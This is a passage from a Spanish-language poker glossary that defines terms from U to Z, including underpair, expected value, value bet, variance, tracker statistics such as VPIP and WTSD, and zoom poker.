Se dice del jugador cuyo par de cartas no es favorita para ganar una mano en concreto porque tiene una baja probabilidad de lograrlo. También puede significar que un jugador es underdog porque su habilidad en el juego es menor que la de sus rivales.

Underpair

Se refiere a una pareja recibida en las cartas de mano (pocket pair) que es menor que la carta más baja de las cartas comunitarias vistas hasta la ronda actual. Un ejemplo sería tener 33 en una mesa J-7-5.

Underset

Se refiere a cuando al menos dos jugadores han ligado un set con las cartas comunitarias pero uno de ellos tiene un set de valor más bajo que el del otro jugador.

Unimproved/ Sin Mejora

Se refiere a cuando, a partir del flop o del turn, la mano de un jugador no ha mejorado tras salir la siguiente de las cartas comunitarias en turn o river.

Unknown/ Desconocido

Se refiere al oponente del que un jugador no tiene demasiadas manos jugadas contra él, por lo cual carece de información en cuanto a su estilo de juego.

Unopened/ Mano Limpia

Situación que tiene lugar únicamente durante la ronda preflop, y se refiere a cuando a un jugador le llega su turno y antes de él ningún rival ha querido entrar en la mano invertido dinero, o sea, ni limpeando ni subiendo, todos los que hablaban antes que él foldearon sus cartas de mano.

Unraised Pot/ Bote sin subir

Se refiere al bote en el que dos o más jugadores llegaron a ver el flop sin que en el preflop hubieran subidas, o sea, se refiere a los botes limpeados.

Upswing/ Estar de “up”

Período en el que un jugador ha tenido una racha positiva prolongada en el tiempo. El término contrario sería downswing.

ALFABETO

V

Valor de Showdown / Showdown value

Se dice que una mano tiene valor de showdown cuando tiene probabilidades de ganar el bote en caso de que los jugadores involucrados lleguen a mostrar sus cartas de mano

Valor Esperado / Expected Value / EV

Cálculo matemático que mediante la aplicación de una fórmula indica la ganancia o pérdida que de media se espera obtener al hacer un movimiento determinado en una ronda de apuestas durante el desarrollo de una mano de póker. Suele decirse “tal o cual movimiento o jugada tiene un EV positivo o negativo” y siempre está referido al largo plazo independientemente de que en el caso concreto la mano del jugador perdiera.

Value

Se refiere al valor que puede tener una jugada en una mano en concreto, determinando si con dicha mano se debería hacer o no una apuesta. En el caso de estimar que sí, se realizaría dicha apuesta porque el jugador piensa que su rival la igualará las veces suficientes (más del 50% de las veces) con una mano peor y ganará dinero con ella.

Value Bet/ Apuesta por Valor

Se refiere a la apuesta por valor que realiza un jugador cuando se cumplen dos condiciones: la primera, es tener una mano mejor que la de su rival más de la mitad de las veces; y la segunda, estimar que también más de la mitad de las veces su rival igualará dicha apuesta con una mano peor.

Valuff

Una apuesta que no es por valor ni es un farol y que en general hay que evitar realizar. Un ejemplo de Valuff sería, en una mesa como A-4-6-9-J todas de corazón, realizar una apuesta en river con AK sin que nuestro K fuera de corazón.

Variance/ Varianza

Se refiere a la variación de resultados esperados que puede haber en el Poker en el corto o medio plazo debido al componente de azar que hay en el juego. Un ejemplo sería el de lanzar una moneda. El valor esperado o EV de hacerlo sería esperar que la mitad de las veces saliera cara y la otra mitad saliera cruz. Si hacemos el experimento 100 veces no obtendremos un resultado del 50/50, pero cuantas más veces lo repitamos más cerca estaremos de que el resultado obtenido se parezca al valor esperado o EV. Por tanto, en el póker, dicho término se refiere a la desviación sucedida en el corto y medio plazo de la ganancia esperada de un jugador respecto a lo que sucedería en el largo plazo tras el mismo suceso repetirse multitud de veces.

Ver/ Call/ Pagar/ Igualar

Es una de las acciones que un jugador puede realizar cuando se enfrenta a la apuesta de otro jugador, aportando al bote exactamente la misma cantidad que su rival apostó.

Ventaja/ Edge

Significa tener ventaja sobre otro jugador, bien porque se tiene una habilidad mayor que la del oponente, o bien porque en una mano concreta se tiene posición sobre él.

Villain/ Villano

Forma común de nombrar al oponente u oponentes al detallar el desarrollo de una mano de póker

VPIP (Voluntarily Put money In Pot)

Siglas que definen a uno de los muchos valores estadísticos que muestran los HUDs de los trackers, y representa el porcentaje de veces que un jugador invierte dinero de forma voluntaria en una mano de póker; o sea, el % de veces que un jugador pone dinero en una mano durante la ronda preflop independientemente de que llegue o no a ver el flop.

Vulnerable

Se refiere a una mano favorita en la calle actual que podría ser fácilmente sobrepasada por jugadas mejores en calles futuras debido a que en el mazo quedan muchas por salir que podrían devaluarla.

ALFABETO

W

Walk/ Paseo

Se dice que a un jugador “le dieron un Walk” o “le tocó un Walk” cuando se encuentra en la posición de ciega grande (BB) y todos los rivales de la mesa abandonan su mano durante la ronda preflop, incluyendo al jugador que se encuentra en la posición de la ciega pequeña (SB).

Way Ahead Way Behind/ WA-WB

Significa ir muy por delante o muy por detrás, refiriéndose a una situación durante el desarrollo de una mano de póker en la que se tiene una mano que está o muy por delante de la del rival o muy por detrás. Situación en la que un jugador tiene una mano que, o bien va ganando por mucho, o perdiendo por mucho y con una muy baja probabilidad de mejorar contra la mano del rival.

Weak/ Débil

Término utilizado tanto para referirse a un jugador como a una jugada o proyecto. Un jugador weak sería un jugador explotable debido a que tiene varios leaks en su juego.

Weak Draw

Se refiere a los proyectos débiles, donde la probabilidad de ganar la mano es escasa. Un ejemplo sería completar una escalera del idiota, ya que podría acabar siendo superada fácilmente contra una escalera superior formada por una o las dos cartas de mano del oponente. Otro ejemplo podría ser haber completado un color con una mano como 43 de diamantes en una mesa donde hubiera 3 cartas de diamantes que fueran J-7-5 ya que el rival podría también tener un color con cartas más altas.

Weak-Tight

Estilo de juego asociado a los jugadores nits, también llamados rocas, quienes juegan de forma poco llamativa, sin crear botes grandes ni correr demasiados riesgos salvo cuando tienen (o piensan que tienen) una mano muy fuerte.

Wet/ Mojado

Término que se refiere a cuando las cartas comunitarias están muy conectadas dando lugar a que hayan varios proyectos abiertos, tanto de color como de escalera y Gutshots, e incluso dobles gutshots.

Wheel/ Bike/ Bicycle/ Bicicleta

Hace referencia a la jugada de escalera más baja posible que puede formarse: A-2-3-4-5.

Winrate/ WR/ Ritmo de ganancias

Valor que indica lo que gana un jugador en un número de manos o un lapso de tiempo determinado. La forma más común de medirlo es mostrar lo que el jugador gana de promedio cada 100 manos, tanto en bbs como en dólares o euro. Por ejemplo, si un jugador ganase de promedio 7 ciegas cada 100 manos, se expresaría como 7bb/100. Es otro de los muchos datos que nos facilitan los trackers.

Withdraw/ Withdrawal/ Cashout/ Cashoutear

Forma de denominar el inglés el acto por parte de un jugador de retirar fondos/dinero de su cuenta de póker.

WP/ Well Played

Siglas de well played, que traducido al español sería como expresar “buen juego” o “bien jugado”.

WSD/ Won at Showdown

Dato estadístico de los trackers que expresa el porcentaje total de veces que un jugador ha ganado con las manos que haya jugado y haya llevado hasta el showdown. Este dato suele relacionarse con el WTSD para ver la relación de con cuánta frecuencia un jugador llega con sus manos hasta el showdown, y de todas ellas, con qué frecuencia gana.

W$SD/ Won $(money) at Showdown

Es el % de veces que un jugador gana el bote cuando lleva su mano al showdown. La diferencia con el WSD es que el W$SD no tiene en cuenta los botes que hayan sido “Split pot”, mientras que el WSD sí los incluye.

WTSD

Valor estadístico de los trackers que indica el porcentaje de veces que un jugador llevó sus manos hasta el showdown una vez que vio el flop. Es conveniente no realizar faroles a jugadores cuyo valor de WTSD sea elevado porque no abandonarán las suficientes veces como para que hacer un farol sea un movimiento rentable a emplear contra ellos.

WWSF/ Won When Saw Flop/ Ganó tras ver el Flop

Es otro de los valores estadísticos que proporcionan los trackers, y muestra el % de veces que un jugador se lleva el bote una vez que ha llegado a ver el flop. Ces un indicador del nivel de agresividad del jugador, cuanto mayor sea, más combativo será el rival, y viceversa.

ALFABETO

Z

Zoom poker

Poker rápido. Modalidad de poker ofrecida por la mayoría de salas online donde cada vez que los jugadores abandonen sus cartas de mano (porque no son jugables, o si las juegan, si abandonan en cualquier calle) inmediatamente serán sentados en una nueva mesa con otros jugadores y se les repartirá un nuevo par de cartas de mano.
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